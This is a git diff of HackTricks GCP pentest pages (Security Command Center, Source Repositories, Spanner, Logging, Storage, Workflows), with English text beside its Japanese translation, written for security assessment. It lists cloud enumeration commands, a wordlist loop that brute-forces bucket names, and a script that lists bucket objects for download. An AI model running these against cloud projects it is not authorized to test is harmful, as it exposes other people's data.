{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## 基本情報
Google Cloud Platform (GCP) Security encompasses a **comprehensive suite of tools** and practices designed to ensure the **security** of resources and data within the Google Cloud environment, divided into four main sections: **Security Command Center, Detections and Controls, Data Protection and Zero Turst.**
Google Cloud Platform (GCP) セキュリティは、Google Cloud 環境内のリソースとデータの**セキュリティ**を確保するために設計された**包括的なツール**と実践のスイートを含み、主に4つのセクションに分かれています: **セキュリティコマンドセンター、検出と制御、データ保護、ゼロトラスト。**
## **Security Command Center**
## **セキュリティコマンドセンター**
The Google Cloud Platform (GCP) Security Command Center (SCC) is a **security and risk management tool for GCP** resources that enables organizations to gain visibility into and control over their cloud assets. It helps **detect and respond to threats** by offering comprehensive security analytics, **identifying misconfigurations**, ensuring **compliance** with security standards, and **integrating** with other security tools for automated threat detection and response.
Google Cloud Platform (GCP) セキュリティコマンドセンター (SCC) は、GCPリソースのための**セキュリティとリスク管理ツール**であり、組織がクラウド資産を可視化し、制御することを可能にします。これは、包括的なセキュリティ分析を提供し、**脅威を検出し対応する**のを助け、**誤設定を特定し**、セキュリティ基準への**準拠を確保し**、自動化された脅威検出と対応のために他のセキュリティツールと**統合します**。
- **Overview**: Panel to **visualize an overview** of all the result of the Security Command Center.
- Threats: \[Premium Required] Panel to visualize all the **detected threats. Check more about Threats below**
- **Vulnerabilities**: Panel to **visualize found misconfigurations in the GCP account**.
- **Compliance**: \[Premium required] This section allows to **test your GCP environment against several compliance checks** (such as PCI-DSS, NIST 800-53, CIS benchmarks...) over the organization.
- **Assets**: This section **shows all the assets being used**, very useful for sysadmins (and maybe attacker) to see what is running in a single page.
- **Findings**: This **aggregates** in a **table findings** of different sections of GCP Security (not only Command Center) to be able to visualize easily findings that matters.
- **Sources**: Shows a **summary of findings** of all the different sections of GCP security **by sectio**n.
- **Posture**: \[Premium Required] Security Posture allows to **define, assess, and monitor the security of the GCP environment**. It works by creating policy that defines constraints or restrictions that controls/monitor the resources in GCP. There are several pre-defined posture templates that can be found in [https://cloud.google.com/security-command-center/docs/security-posture-overview?authuser=2#predefined-policy](https://cloud.google.com/security-command-center/docs/security-posture-overview?authuser=2#predefined-policy)
- **概要**: セキュリティコマンドセンターのすべての結果の**概要を可視化する**パネル。
- 脅威: \[プレミアム必要] すべての**検出された脅威を可視化する**パネル。以下の脅威についての詳細を確認してください。
- **脆弱性**: GCPアカウント内の**誤設定を可視化する**パネル。
- **コンプライアンス**: \[プレミアム必要] このセクションでは、組織全体の**GCP環境をいくつかのコンプライアンスチェックに対してテストする**ことができます(PCI-DSSNIST 800-53CISベンチマークなど)。
- **資産**: このセクションは、**使用されているすべての資産を表示**し、システム管理者(おそらく攻撃者)にとって、単一のページで何が稼働しているかを確認するのに非常に便利です。
- **発見**: これは、GCPセキュリティの異なるセクションコマンドセンターだけでなくの**発見をテーブルに集約**し、重要な発見を簡単に可視化できるようにします。
- **ソース**: GCPセキュリティのさまざまなセクションの**発見の概要を表示**します。
- **姿勢**: \[プレミアム必要] セキュリティ姿勢は、**GCP環境のセキュリティを定義、評価、監視する**ことを可能にします。これは、GCP内のリソースを制御/監視する制約や制限を定義するポリシーを作成することによって機能します。 [https://cloud.google.com/security-command-center/docs/security-posture-overview?authuser=2#predefined-policy](https://cloud.google.com/security-command-center/docs/security-posture-overview?authuser=2#predefined-policy) で見つけることができるいくつかの事前定義された姿勢テンプレートがあります。
### **Threats**
### **脅威**
From the perspective of an attacker, this is probably the **most interesting feature as it could detect the attacker**. However, note that this feature requires **Premium** (which means that the company will need to pay more), so it **might not be even enabled**.
攻撃者の視点から見ると、これはおそらく**攻撃者を検出できる最も興味深い機能**です。ただし、この機能は**プレミアム**を必要とするため(つまり、会社は追加料金を支払う必要があります)、**有効になっていない可能性もあります**。
There are 3 types of threat detection mechanisms:
脅威検出メカニズムには3つのタイプがあります
- **Event Threats**: Findings produced by matching events from **Cloud Logging** based on **rules created** internally by Google. It can also scan **Google Workspace logs**.
- It's possible to find the description of all the [**detection rules in the docs**](https://cloud.google.com/security-command-center/docs/concepts-event-threat-detection-overview?authuser=2#how_works)
- **Container Threats**: Findings produced after analyzing low-level behavior of the kernel of containers.
- **Custom Threats**: Rules created by the company.
- **イベント脅威**: Googleによって内部で作成された**ルール**に基づいて、**Cloud Logging**からのイベントを照合することによって生成された発見。**Google Workspaceログ**をスキャンすることもできます。
- すべての[**検出ルールの説明はドキュメントにあります**](https://cloud.google.com/security-command-center/docs/concepts-event-threat-detection-overview?authuser=2#how_works)
- **コンテナ脅威**: コンテナのカーネルの低レベルの動作を分析した後に生成された発見。
- **カスタム脅威**: 会社によって作成されたルール。
It's possible to find recommended responses to detected threats of both types in [https://cloud.google.com/security-command-center/docs/how-to-investigate-threats?authuser=2#event_response](https://cloud.google.com/security-command-center/docs/how-to-investigate-threats?authuser=2#event_response)
### Enumeration
両方のタイプの検出された脅威に対する推奨される対応は、[https://cloud.google.com/security-command-center/docs/how-to-investigate-threats?authuser=2#event_response](https://cloud.google.com/security-command-center/docs/how-to-investigate-threats?authuser=2#event_response) で見つけることができます。
### 列挙
```bash
# Get a source
gcloud scc sources describe <org-number> --source=5678
@@ -45,7 +44,6 @@ gcloud scc notifications list <org-number>
# Get findings (if not premium these are just vulnerabilities)
gcloud scc findings list <org-number>
```
### Post Exploitation
{{#ref}}
@@ -54,28 +52,28 @@ gcloud scc findings list <org-number>
## Detections and Controls
- **Chronicle SecOps**: An advanced security operations suite designed to help teams increase their speed and impact of security operations, including threat detection, investigation, and response.
- **reCAPTCHA Enterprise**: A service that protects websites from fraudulent activities like scraping, credential stuffing, and automated attacks by distinguishing between human users and bots.
- **Web Security Scanner**: Automated security scanning tool that detects vulnerabilities and common security issues in web applications hosted on Google Cloud or another web service.
- **Risk Manager**: A governance, risk, and compliance (GRC) tool that helps organizations assess, document, and understand their Google Cloud risk posture.
- **Binary Authorization**: A security control for containers that ensures only trusted container images are deployed on Kubernetes Engine clusters according to policies set by the enterprise.
- **Advisory Notifications**: A service that provides alerts and advisories about potential security issues, vulnerabilities, and recommended actions to keep resources secure.
- **Access Approval**: A feature that allows organizations to require explicit approval before Google employees can access their data or configurations, providing an additional layer of control and auditability.
- **Managed Microsoft AD**: A service offering managed Microsoft Active Directory (AD) that allows users to use their existing Microsoft AD-dependent apps and workloads on Google Cloud.
- **Chronicle SecOps**: セキュリティオペレーションの速度と影響を高めるために設計された高度なセキュリティオペレーションスイートで、脅威の検出、調査、対応を含みます。
- **reCAPTCHA Enterprise**: 人間のユーザーとボットを区別することによって、スクレイピング、資格情報の詰め込み、自動攻撃などの不正行為からウェブサイトを保護するサービスです。
- **Web Security Scanner**: Google Cloudまたは他のウェブサービスにホストされているウェブアプリケーションの脆弱性や一般的なセキュリティ問題を検出する自動セキュリティスキャンツールです。
- **Risk Manager**: 組織がGoogle Cloudのリスク姿勢を評価、文書化、理解するのを助けるガバナンス、リスク、コンプライアンスGRCツールです。
- **Binary Authorization**: エンタープライズによって設定されたポリシーに従って、信頼されたコンテナイメージのみがKubernetes Engineクラスターにデプロイされることを保証するコンテナ用のセキュリティ制御です。
- **Advisory Notifications**: 潜在的なセキュリティ問題、脆弱性、およびリソースを安全に保つための推奨アクションに関するアラートとアドバイザリーを提供するサービスです。
- **Access Approval**: Googleの従業員がデータや設定にアクセスする前に明示的な承認を要求することを可能にする機能で、追加の制御と監査可能性を提供します。
- **Managed Microsoft AD**: ユーザーがGoogle Cloud上で既存のMicrosoft AD依存のアプリケーションやワークロードを使用できるようにする、管理されたMicrosoft Active DirectoryADを提供するサービスです。
## Data Protection
- **Sensitive Data Protection**: Tools and practices aimed at safeguarding sensitive data, such as personal information or intellectual property, against unauthorized access or exposure.
- **Data Loss Prevention (DLP)**: A set of tools and processes used to identify, monitor, and protect data in use, in motion, and at rest through deep content inspection and by applying a comprehensive set of data protection rules.
- **Certificate Authority Service**: A scalable and secure service that simplifies and automates the management, deployment, and renewal of SSL/TLS certificates for internal and external services.
- **Key Management**: A cloud-based service that allows you to manage cryptographic keys for your applications, including the creation, import, rotation, use, and destruction of encryption keys. More info in:
- **Sensitive Data Protection**: 個人情報や知的財産などの機密データを不正アクセスや露出から保護することを目的としたツールと実践です。
- **Data Loss Prevention (DLP)**: 使用中、移動中、静止中のデータを特定、監視、保護するために使用されるツールとプロセスのセットで、深いコンテンツ検査と包括的なデータ保護ルールの適用によって行われます。
- **Certificate Authority Service**: 内部および外部サービスのSSL/TLS証明書の管理、デプロイ、および更新を簡素化し、自動化するスケーラブルで安全なサービスです。
- **Key Management**: アプリケーションの暗号鍵を管理するためのクラウドベースのサービスで、暗号化鍵の作成、インポート、ローテーション、使用、破棄を含みます。詳細は以下を参照してください:
{{#ref}}
gcp-kms-enum.md
{{#endref}}
- **Certificate Manager**: A service that manages and deploys SSL/TLS certificates, ensuring secure and encrypted connections to your web services and applications.
- **Secret Manager**: A secure and convenient storage system for API keys, passwords, certificates, and other sensitive data, which allows for the easy and secure access and management of these secrets in applications. More info in:
- **Certificate Manager**: SSL/TLS証明書を管理およびデプロイし、ウェブサービスやアプリケーションへの安全で暗号化された接続を確保するサービスです。
- **Secret Manager**: APIキー、パスワード、証明書、その他の機密データのための安全で便利なストレージシステムで、これらの秘密の簡単で安全なアクセスと管理をアプリケーションで可能にします。詳細は以下を参照してください
{{#ref}}
gcp-secrets-manager-enum.md
@@ -83,14 +81,10 @@ gcp-secrets-manager-enum.md
## Zero Trust
- **BeyondCorp Enterprise**: A zero-trust security platform that enables secure access to internal applications without the need for a traditional VPN, by relying on verification of user and device trust before granting access.
- **Policy Troubleshooter**: A tool designed to help administrators understand and resolve access issues in their organization by identifying why a user has access to certain resources or why access was denied, thereby aiding in the enforcement of zero-trust policies.
- **Identity-Aware Proxy (IAP)**: A service that controls access to cloud applications and VMs running on Google Cloud, on-premises, or other clouds, based on the identity and the context of the request rather than by the network from which the request originates.
- **VPC Service Controls**: Security perimeters that provide additional layers of protection to resources and services hosted in Google Cloud's Virtual Private Cloud (VPC), preventing data exfiltration and providing granular access control.
- **Access Context Manager**: Part of Google Cloud's BeyondCorp Enterprise, this tool helps define and enforce fine-grained access control policies based on a user's identity and the context of their request, such as device security status, IP address, and more.
- **BeyondCorp Enterprise**: 従来のVPNを必要とせず、ユーザーとデバイスの信頼性の検証に基づいて内部アプリケーションへの安全なアクセスを可能にするゼロトラストセキュリティプラットフォームです。
- **Policy Troubleshooter**: 管理者が組織内のアクセス問題を理解し解決するのを助けるために設計されたツールで、ユーザーが特定のリソースにアクセスできる理由やアクセスが拒否された理由を特定し、ゼロトラストポリシーの施行を支援します。
- **Identity-Aware Proxy (IAP)**: Google Cloud、オンプレミス、または他のクラウド上で実行されているクラウドアプリケーションやVMへのアクセスを、リクエストの発信元のネットワークではなく、ユーザーのアイデンティティとリクエストのコンテキストに基づいて制御するサービスです。
- **VPC Service Controls**: Google Cloudの仮想プライベートクラウドVPCにホストされているリソースやサービスに追加の保護層を提供し、データの流出を防ぎ、詳細なアクセス制御を提供するセキュリティ境界です。
- **Access Context Manager**: Google CloudBeyondCorp Enterpriseの一部であり、ユーザーのアイデンティティとリクエストのコンテキストデバイスのセキュリティステータス、IPアドレスなどに基づいて、詳細なアクセス制御ポリシーを定義し施行するのを助けるツールです。
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -2,37 +2,36 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information <a href="#reviewing-cloud-git-repositories" id="reviewing-cloud-git-repositories"></a>
## 基本情報 <a href="#reviewing-cloud-git-repositories" id="reviewing-cloud-git-repositories"></a>
Google Cloud Source Repositories is a fully-featured, scalable, **private Git repository service**. It's designed to **host your source code in a fully managed environment**, integrating seamlessly with other GCP tools and services. It offers a collaborative and secure place for teams to store, manage, and track their code.
Google Cloud Source Repositoriesは、完全に機能し、スケーラブルな**プライベートGitリポジトリサービス**です。これは、**完全に管理された環境でソースコードをホストする**ように設計されており、他のGCPツールやサービスとシームレスに統合されます。チームがコードを保存、管理、追跡するための協力的で安全な場所を提供します。
Key features of Cloud Source Repositories include:
Cloud Source Repositoriesの主な機能は次のとおりです:
1. **Fully Managed Git Hosting**: Offers the familiar functionality of Git, meaning you can use regular Git commands and workflows.
2. **Integration with GCP Services**: Integrates with other GCP services like Cloud Build, Pub/Sub, and App Engine for end-to-end traceability from code to deployment.
3. **Private Repositories**: Ensures your code is stored securely and privately. You can control access using Cloud Identity and Access Management (IAM) roles.
4. **Source Code Analysis**: Works with other GCP tools to provide automated analysis of your source code, identifying potential issues like bugs, vulnerabilities, or bad coding practices.
5. **Collaboration Tools**: Supports collaborative coding with tools like merge requests, comments, and reviews.
6. **Mirror Support**: Allows you to connect Cloud Source Repositories with repositories hosted on GitHub or Bitbucket, enabling automatic synchronization and providing a unified view of all your repositories.
1. **完全管理されたGitホスティング**Gitの一般的な機能を提供し、通常のGitコマンドやワークフローを使用できます。
2. **GCPサービスとの統合**Cloud BuildPub/SubApp Engineなどの他のGCPサービスと統合され、コードからデプロイメントまでのエンドツーエンドのトレーサビリティを提供します。
3. **プライベートリポジトリ**:コードが安全かつプライベートに保存されることを保証します。Cloud Identity and Access Management (IAM)ロールを使用してアクセスを制御できます。
4. **ソースコード分析**他のGCPツールと連携して、ソースコードの自動分析を提供し、バグ、脆弱性、または悪いコーディングプラクティスなどの潜在的な問題を特定します。
5. **コラボレーションツール**:マージリクエスト、コメント、レビューなどのツールを使用して、協力的なコーディングをサポートします。
6. **ミラーサポート**Cloud Source RepositoriesをGitHubBitbucketにホストされたリポジトリに接続でき、自動同期を可能にし、すべてのリポジトリの統一ビューを提供します。
### OffSec information <a href="#reviewing-cloud-git-repositories" id="reviewing-cloud-git-repositories"></a>
### OffSec情報 <a href="#reviewing-cloud-git-repositories" id="reviewing-cloud-git-repositories"></a>
- The source repositories configuration inside a project will have a **Service Account** used to publishing Cloud Pub/Sub messages. The default one used is the **Compute SA**. However, **I don't think it's possible steal its token** from Source Repositories as it's being executed in the background.
- To see the code inside the GCP Cloud Source Repositories web console ([https://source.cloud.google.com/](https://source.cloud.google.com/)), you need the code to be **inside master branch by default**.
- You can also **create a mirror Cloud Repository** pointing to a repo from **Github** or **Bitbucket** (giving access to those platforms).
- It's possible to **code & debug from inside GCP**.
- By default, Source Repositories **prevents private keys to be pushed in commits**, but this can be disabled.
- プロジェクト内のソースリポジトリの設定には、Cloud Pub/Subメッセージを公開するために使用される**サービスアカウント**があります。デフォルトで使用されるのは**Compute SA**です。ただし、**ソースリポジトリからそのトークンを盗むことは不可能だと思います**。これはバックグラウンドで実行されているためです。
- GCP Cloud Source RepositoriesのWebコンソール[https://source.cloud.google.com/](https://source.cloud.google.com/))内のコードを見るには、コードが**デフォルトでマスターブランチ内にある必要があります**。
- **Github**または**Bitbucket**のリポジトリを指す**ミラーCloudリポジトリ**を**作成することもできます**(これらのプラットフォームへのアクセスを提供します)。
- **GCP内からコードを記述およびデバッグすることが可能です**。
- デフォルトでは、ソースリポジトリは**プライベートキーがコミットにプッシュされるのを防ぎます**が、これを無効にすることができます。
### Open In Cloud Shell
### Cloud Shellで開く
It's possible to open the repository in Cloud Shell, a prompt like this one will appear:
Cloud Shellでリポジトリを開くことが可能で、次のようなプロンプトが表示されます
<figure><img src="../../../images/image (325).png" alt=""><figcaption></figcaption></figure>
This will allow you to code and debug in Cloud Shell (which could get cloudshell compromised).
### Enumeration
これにより、Cloud Shellでコードを記述およびデバッグできますcloudshellが侵害される可能性があります
### 列挙
```bash
# Repos enumeration
gcloud source repos list #Get names and URLs
@@ -51,21 +50,16 @@ git push -u origin master
git clone ssh://username@domain.com@source.developers.google.com:2022/p/<proj-name>/r/<repo-name>
git add, commit, push...
```
### Privilege Escalation & Post Exploitation
### 権限昇格とポストエクスプロイト
{{#ref}}
../gcp-privilege-escalation/gcp-sourcerepos-privesc.md
{{#endref}}
### Unauthenticated Enum
### 認証されていない列挙
{{#ref}}
../gcp-unauthenticated-enum-and-access/gcp-source-repositories-unauthenticated-enum.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,8 +4,7 @@
## [Cloud Spanner](https://cloud.google.com/sdk/gcloud/reference/spanner/)
Fully managed relational database with unlimited scale, strong consistency, and up to 99.999% availability.
無制限のスケール、強い整合性、最大99.999%の可用性を持つ完全管理型リレーショナルデータベース。
```bash
# Cloud Spanner
## Instances
@@ -27,9 +26,4 @@ gcloud spanner backups get-iam-policy --instance <INSTANCE> <backup_name>
gcloud spanner instance-configs list
gcloud spanner instance-configs describe <name>
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,12 +4,11 @@
## [Stackdriver logging](https://cloud.google.com/sdk/gcloud/reference/logging/)
[**Stackdriver**](https://cloud.google.com/stackdriver/) is recognized as a comprehensive infrastructure **logging suite** offered by Google. It has the capability to capture sensitive data through features like syslog, which reports individual commands executed inside Compute Instances. Furthermore, it monitors HTTP requests sent to load balancers or App Engine applications, network packet metadata within VPC communications, and more.
[**Stackdriver**](https://cloud.google.com/stackdriver/) は、Google が提供する包括的なインフラストラクチャ **ログスイート** として認識されています。これは、Compute Instances 内で実行された個々のコマンドを報告する syslog のような機能を通じて、機密データをキャプチャする能力を持っています。さらに、ロードバランサーや App Engine アプリケーションに送信された HTTP リクエスト、VPC 通信内のネットワークパケットメタデータなどを監視します。
For a Compute Instance, the corresponding service account requires merely **WRITE** permissions to facilitate logging of instance activities. Nonetheless, it's possible that an administrator might **inadvertently** provide the service account with both **READ** and **WRITE** permissions. In such instances, the logs can be scrutinized for sensitive information.
To accomplish this, the [gcloud logging](https://cloud.google.com/sdk/gcloud/reference/logging/) utility offers a set of tools. Initially, identifying the types of logs present in your current project is recommended.
Compute Instance に対して、対応するサービスアカウントはインスタンスの活動をログに記録するために **WRITE** 権限のみを必要とします。それにもかかわらず、管理者がサービスアカウントに **READ****WRITE** の両方の権限を **誤って** 与える可能性があります。そのような場合、ログを精査して機密情報を探すことができます。
これを達成するために、[gcloud logging](https://cloud.google.com/sdk/gcloud/reference/logging/) ユーティリティは一連のツールを提供します。最初に、現在のプロジェクトに存在するログの種類を特定することをお勧めします。
```bash
# List logs
gcloud logging logs list
@@ -24,14 +23,9 @@ gcloud logging write [FOLDER] [MESSAGE]
# List Buckets
gcloud logging buckets list
```
## References
## 参考文献
- [https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/#reviewing-stackdriver-logging](https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/#reviewing-stackdriver-logging)
- [https://initblog.com/2020/gcp-post-exploitation/](https://initblog.com/2020/gcp-post-exploitation/)
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -2,67 +2,66 @@
{{#include ../../../banners/hacktricks-training.md}}
## Storage
## ストレージ
Google Cloud Platform (GCP) Storage is a **cloud-based storage solution** that provides highly durable and available object storage for unstructured data. It offers **various storage classes** based on performance, availability, and cost, including Standard, Nearline, Coldline, and Archive. GCP Storage also provides advanced features such as **lifecycle policies, versioning, and access control** to manage and secure data effectively.
Google Cloud Platform (GCP) ストレージは、**クラウドベースのストレージソリューション**であり、非構造化データのための高耐久性と高可用性のオブジェクトストレージを提供します。パフォーマンス、可用性、コストに基づいて、StandardNearlineColdlineArchiveなどの**さまざまなストレージクラス**を提供します。GCP ストレージは、データを効果的に管理および保護するための**ライフサイクルポリシー、バージョン管理、アクセス制御**などの高度な機能も提供します。
The bucket can be stored in a region, in 2 regions or **multi-region (default)**.
バケットは、1つのリージョン、2つのリージョン、または**マルチリージョン(デフォルト)**に保存できます。
### Storage Types
### ストレージタイプ
- **Standard Storage**: This is the default storage option that **offers high-performance, low-latency access to frequently accessed data**. It is suitable for a wide range of use cases, including serving website content, streaming media, and hosting data analytics pipelines.
- **Nearline Storage**: This storage class offers **lower storage costs** and **slightly higher access costs** than Standard Storage. It is optimized for infrequently accessed data, with a minimum storage duration of 30 days. It is ideal for backup and archival purposes.
- **Coldline Storage**: This storage class is optimized for **long-term storage of infrequently accessed data**, with a minimum storage duration of 90 days. It offers the **lower storage costs** than Nearline Storage, but with **higher access costs.**
- **Archive Storage**: This storage class is designed for cold data that is accessed **very infrequently**, with a minimum storage duration of 365 days. It offers the **lowest storage costs of all GCP storage options** but with the **highest access costs**. It is suitable for long-term retention of data that needs to be stored for compliance or regulatory reasons.
- **Autoclass**: If you **don't know how much you are going to access** the data you can select Autoclass and GCP will **automatically change the type of storage for you to minimize costs**.
- **Standard Storage**: これはデフォルトのストレージオプションで、**頻繁にアクセスされるデータへの高パフォーマンス、低遅延アクセスを提供**します。ウェブサイトコンテンツの提供、メディアのストリーミング、データ分析パイプラインのホスティングなど、幅広いユースケースに適しています。
- **Nearline Storage**: このストレージクラスは、Standard Storageよりも**低いストレージコスト**と**やや高いアクセスコスト**を提供します。アクセス頻度が低いデータに最適化されており、最小ストレージ期間は30日です。バックアップやアーカイブ目的に最適です。
- **Coldline Storage**: このストレージクラスは、**アクセス頻度が低いデータの長期保存**に最適化されており、最小ストレージ期間は90日です。Nearline Storageよりも**低いストレージコスト**を提供しますが、**アクセスコストは高くなります**。
- **Archive Storage**: このストレージクラスは、**非常に低頻度でアクセスされる冷データ**のために設計されており、最小ストレージ期間は365日です。すべてのGCPストレージオプションの中で**最も低いストレージコスト**を提供しますが、**最も高いアクセスコスト**があります。コンプライアンスや規制上の理由で保存する必要があるデータの長期保持に適しています。
- **Autoclass**: データにどれだけアクセスするか**わからない場合**は、Autoclassを選択すると、GCPが**コストを最小限に抑えるためにストレージタイプを自動的に変更します**。
### Access Control
### アクセス制御
By **default** it's **recommended** to control the access via **IAM**, but it's also possible to **enable the use of ACLs**.\
If you select to only use IAM (default) and **90 days passes**, you **won't be able to enable ACLs** for the bucket.
**デフォルト**では、**IAM**を介してアクセスを制御することが**推奨**されますが、**ACLの使用を有効にすることも可能です**\
IAMのみを使用することを選択しデフォルト、**90日が経過すると**、バケットに対して**ACLを有効にすることはできません**。
### Versioning
### バージョン管理
It's possible to enable versioning, this will **save old versions of the file inside the bucket**. It's possible to configure the **number of versions you want to keep** and even **how long** you want **noncurrent** versions (old versions) to live. Recommended is **7 days for Standard type**.
バージョン管理を有効にすることが可能で、これにより**バケット内のファイルの古いバージョンが保存されます**。**保持したいバージョンの数**や、**非現行**バージョン(古いバージョン)がどれだけの期間生存するかを**設定することができます**。Standardタイプの場合は**7日間が推奨**されます。
The **metadata of a noncurrent version is kept**. Moreover, **ACLs of noncurrent versions are also kept**, so older versions might have different ACLs from the current version.
**非現行バージョンのメタデータは保持されます**。さらに、**非現行バージョンのACLも保持されるため**、古いバージョンは現在のバージョンとは異なるACLを持つ可能性があります。
Learn more in the [**docs**](https://cloud.google.com/storage/docs/object-versioning).
詳細は[**docs**](https://cloud.google.com/storage/docs/object-versioning)で確認してください。
### Retention Policy
### 保持ポリシー
Indicate how **long** you want to **forbid the deletion of Objects inside the bucket** (very useful for compliance at least).\
Only one of **versioning or retention policy can be enabled at the same time**.
バケット内のオブジェクトの削除を**禁止する期間**を指定します(少なくともコンプライアンスに非常に役立ちます)。\
**バージョン管理または保持ポリシーのいずれか一方のみを同時に有効にすることができます**
### Encryption
### 暗号化
By default objects are **encrypted using Google managed keys**, but you could also use a **key from KMS**.
デフォルトでは、オブジェクトは**Google管理キーを使用して暗号化されます**が、**KMSのキーを使用することもできます**。
### Public Access
### 公開アクセス
It's possible to give **external users** (logged in GCP or not) **access to buckets content**.\
By default, when a bucket is created, it will have **disabled the option to expose publicly** the bucket, but with enough permissions the can be changed.
**外部ユーザー**GCPにログインしているかどうかにかかわらずに**バケットのコンテンツへのアクセスを提供することが可能です**。\
デフォルトでは、バケットが作成されると、バケットを**公開するオプションは無効**になりますが、十分な権限があれば変更できます。
The **format of an URL** to access a bucket is **`https://storage.googleapis.com/<bucket-name>` or `https://<bucket_name>.storage.googleapis.com`** (both are valid).
バケットにアクセスするための**URLの形式**は、**`https://storage.googleapis.com/<bucket-name>` または `https://<bucket_name>.storage.googleapis.com`**(どちらも有効)です。
### HMAC Keys
### HMACキー
An HMAC key is a type of _credential_ and can be **associated with a service account or a user account in Cloud Storage**. You use an HMAC key to create _signatures_ which are then included in requests to Cloud Storage. Signatures show that a **given request is authorized by the user or service account**.
HMACキーは、_資格情報_の一種であり、**Cloud Storageのサービスアカウントまたはユーザーアカウントに関連付けることができます**。HMACキーを使用して、Cloud Storageへのリクエストに含まれる_署名_を作成します。署名は、**特定のリクエストがユーザーまたはサービスアカウントによって承認されていることを示します**。
HMAC keys have two primary pieces, an _access ID_ and a _secret_.
HMACキーには、_アクセスID_と_シークレット_の2つの主要な部分があります。
- **Access ID**: An alphanumeric string linked to a specific service or user account. When linked to a service account, the string is 61 characters in length, and when linked to a user account, the string is 24 characters in length. The following shows an example of an access ID:
- **アクセスID**: 特定のサービスまたはユーザーアカウントにリンクされた英数字の文字列です。サービスアカウントにリンクされている場合、文字列は61文字の長さであり、ユーザーアカウントにリンクされている場合、文字列は24文字の長さです。以下はアクセスIDの例です
`GOOGTS7C7FUP3AIRVJTE2BCDKINBTES3HC2GY5CBFJDCQ2SYHV6A6XXVTJFSA`
`GOOGTS7C7FUP3AIRVJTE2BCDKINBTES3HC2GY5CBFJDCQ2SYHV6A6XXVTJFSA`
- **Secret**: A 40-character Base-64 encoded string that is linked to a specific access ID. A secret is a preshared key that only you and Cloud Storage know. You use your secret to create signatures as part of the authentication process. The following shows an example of a secret:
- **シークレット**: 特定のアクセスIDにリンクされた40文字のBase-64エンコードされた文字列です。シークレットは、あなたとCloud Storageだけが知っている事前共有キーです。認証プロセスの一部として署名を作成するためにシークレットを使用します。以下はシークレットの例です
`bGoa+V7g/yqDXvKRqq+JTFn4uQZbPiQJo4pf9RzJ`
`bGoa+V7g/yqDXvKRqq+JTFn4uQZbPiQJo4pf9RzJ`
Both the **access ID and secret uniquely identify an HMAC key**, but the secret is much more sensitive information, because it's used to **create signatures**.
### Enumeration
**アクセスIDとシークレットはHMACキーを一意に識別しますが、シークレットは署名を**作成するために使用されるため、はるかに敏感な情報です**
### 列挙
```bash
# List all storage buckets in project
gsutil ls
@@ -95,66 +94,57 @@ gsutil hmac list
gcloud storage buckets get-iam-policy gs://bucket-name/
gcloud storage objects get-iam-policy gs://bucket-name/folder/object
```
If you get a permission denied error listing buckets you may still have access to the content. So, now that you know about the name convention of the buckets you can generate a list of possible names and try to access them:
バケットのリストを取得する際に「権限が拒否されました」というエラーが表示される場合でも、コンテンツにアクセスできる可能性があります。したがって、バケットの名前の規則について知っているので、可能な名前のリストを生成し、それらにアクセスを試みることができます:
```bash
for i in $(cat wordlist.txt); do gsutil ls -r gs://"$i"; done
```
With permissions `storage.objects.list` and `storage.objects.get`, you should be able to enumerate all folders and files from the bucket in order to download them. You can achieve that with this Python script:
`storage.objects.list``storage.objects.get` の権限があれば、バケット内のすべてのフォルダーとファイルを列挙してダウンロードできるはずです。これを実現するには、次のPythonスクリプトを使用できます
```python
import requests
import xml.etree.ElementTree as ET
def list_bucket_objects(bucket_name, prefix='', marker=None):
url = f"https://storage.googleapis.com/{bucket_name}?prefix={prefix}"
if marker:
url += f"&marker={marker}"
response = requests.get(url)
xml_data = response.content
root = ET.fromstring(xml_data)
ns = {'ns': 'http://doc.s3.amazonaws.com/2006-03-01'}
for contents in root.findall('.//ns:Contents', namespaces=ns):
key = contents.find('ns:Key', namespaces=ns).text
print(key)
next_marker = root.find('ns:NextMarker', namespaces=ns)
if next_marker is not None:
next_marker_value = next_marker.text
list_bucket_objects(bucket_name, prefix, next_marker_value)
url = f"https://storage.googleapis.com/{bucket_name}?prefix={prefix}"
if marker:
url += f"&marker={marker}"
response = requests.get(url)
xml_data = response.content
root = ET.fromstring(xml_data)
ns = {'ns': 'http://doc.s3.amazonaws.com/2006-03-01'}
for contents in root.findall('.//ns:Contents', namespaces=ns):
key = contents.find('ns:Key', namespaces=ns).text
print(key)
next_marker = root.find('ns:NextMarker', namespaces=ns)
if next_marker is not None:
next_marker_value = next_marker.text
list_bucket_objects(bucket_name, prefix, next_marker_value)
list_bucket_objects('<storage-name>')
```
### 権限昇格
### Privilege Escalation
In the following page you can check how to **abuse storage permissions to escalate privileges**:
次のページでは、**ストレージの権限を悪用して権限を昇格させる方法**を確認できます:
{{#ref}}
../gcp-privilege-escalation/gcp-storage-privesc.md
{{#endref}}
### Unauthenticated Enum
### 認証されていない列挙
{{#ref}}
../gcp-unauthenticated-enum-and-access/gcp-storage-unauthenticated-enum/
{{#endref}}
### Post Exploitation
### ポストエクスプロイト
{{#ref}}
../gcp-post-exploitation/gcp-storage-post-exploitation.md
{{#endref}}
### Persistence
### 永続性
{{#ref}}
../gcp-persistence/gcp-storage-persistence.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -2,19 +2,18 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## 基本情報
**Google Cloud Platform (GCP) Workflows** is a service that helps you automate tasks that involve **multiple steps** across Google Cloud services and other web-based services. Think of it as a way to set up a **sequence of actions** that run on their own once triggered. You can design these sequences, called workflows, to do things like process data, handle software deployments, or manage cloud resources without having to manually oversee each step.
**Google Cloud Platform (GCP) Workflows** は、Google Cloud サービスやその他のウェブベースのサービスにまたがる **複数のステップ** を含むタスクを自動化するのに役立つサービスです。これは、トリガーされると自動的に実行される **アクションのシーケンス** を設定する方法と考えてください。これらのシーケンスはワークフローと呼ばれ、データの処理、ソフトウェアのデプロイメントの管理、または手動で各ステップを監視することなくクラウドリソースを管理するなどの作業を行うように設計できます。
### Encryption
### 暗号化
Related to encryption, by default the **Google-managed encryption key is use**d but it's possible to make it use a key of by customers.
